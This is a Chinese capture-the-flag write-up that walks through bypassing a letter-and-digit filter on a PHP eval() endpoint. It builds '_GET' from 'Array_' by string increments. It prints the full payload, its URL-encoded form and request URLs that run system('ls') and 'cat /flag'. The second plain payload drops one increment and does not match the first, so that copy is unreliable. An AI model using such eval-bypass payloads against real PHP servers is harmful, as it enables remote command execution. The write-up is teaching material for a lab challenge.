ez-rce

题目信息

  • 题目名称: ez-rce
  • 提示: 303跳转 你需要用bp抓包 参考RCE里的无字母数字

信息收集

通过抓包分析,在响应头中发现隐藏路径:

1
<!-- /s3cret/rce.php -->

image-20260209014504279

访问该路径得到题目源码。

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);

if (isset($_GET['shell'])) {
$code = $_GET['shell'];

if(!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$code)){

eval($code);
}
else{
die('hacker!!你想幹嘛!!!');
}
}

代码功能分析:

  • 接收 shell 参数并执行 eval()
  • 正则表达式过滤了所有字母数字和大部分特殊字符
  • 只允许部分字符通过,包括 []._;()+$

漏洞分析

  1. 过滤绕过原理

由于过滤了所有字母和数字,需要利用 PHP 的变量自增特性来构造可执行的代码。

PHP 变量自增原理:

1
2
3
4
5
6
7
$a = []._;
// $a 为 "Array_"
echo $a[0];
// 会输出:A
$b = $a[0];
echo ++$b;
// 会输出:B

因为数字也被过滤,变量名可以用下划线替代,数组索引也可以用下划线替代:

1
2
3
$_ = []._;
echo $_[_];
// 输出:A
  1. 构造 Payload

目标构造:$_GET[_]($_GET[__])

通过变量自增逐步构造:

  1. $_=[]._ 得到 “Array_”
  2. $_=$_[_] 得到 “A”
  3. 通过 $_++ 自增得到 “B”、”C”、”D”、”E”
  4. 继续自增构造其他字母
  5. 最终拼接出 “_GET” 字符串

完整 payload:

1
$_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]);
  1. URL 编码

由于中间件会解码一次,所以需要对 payload 进行 URL 全编码:

1
%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B

利用步骤

  1. 构造 Payload

使用变量自增构造出 $_GET[_]($_GET[__]) 的等效代码:

1
$_=[]._;$_=$_[_];$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]);
  1. URL 全编码

对 payload 进行 URL 全编码,确保中间件解码后仍能正常执行:

1
%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B
  1. 执行命令

构造完整的 URL,通过 shell 参数传递 payload,并使用 ___ 参数传递要执行的函数和参数:

1
?shell=%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B&_=system&__=ls
  1. 获取 Flag

__ 参数替换为读取 flag 的命令:

1
?shell=%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B&_=system&__=cat%20/flag

原理详解

  1. PHP 变量自增机制

PHP 中字符串可以像数组一样访问索引,当对字符串进行自增操作时,PHP 会按照字母表顺序递增:

1
2
3
$a = "A";
$a++; // "B"
$a++; // "C"
  1. 数组字符串化

当数组与字符串连接时,数组会被转换为字符串 “Array”:

1
2
$a = [];
echo $a . "_"; // 输出 "Array_"
  1. 字符串索引访问

可以通过索引访问字符串中的字符:

1
2
$str = "Array_";
echo $str[0]; // 输出 "A"
  1. 下划线作为索引

由于数字被过滤,可以使用下划线作为数组索引,PHP 会将下划线转换为 0:

1
2
$_ = "Array_";
echo $_[_]; // 等同于 $_[0],输出 "A"

总结

本题利用了 PHP 的变量自增特性和字符串操作机制,在过滤所有字母数字的情况下,通过构造特殊字符的 payload 实现了代码执行。关键在于理解 PHP 中数组字符串化、字符串索引访问以及变量自增的工作原理,并通过 URL 全编码绕过中间件的解码机制。

关键点

  1. 通过抓包发现隐藏路径 /s3cret/rce.php
  2. 利用 PHP 数组字符串化特性获取 “Array” 字符串
  3. 通过变量自增构造字母
  4. 使用下划线替代数字作为数组索引
  5. 拼接构造出 _GET 字符串
  6. 通过 URL 全编码绕过中间件解码
  7. 最终实现动态函数调用 $_GET[_]($_GET[__])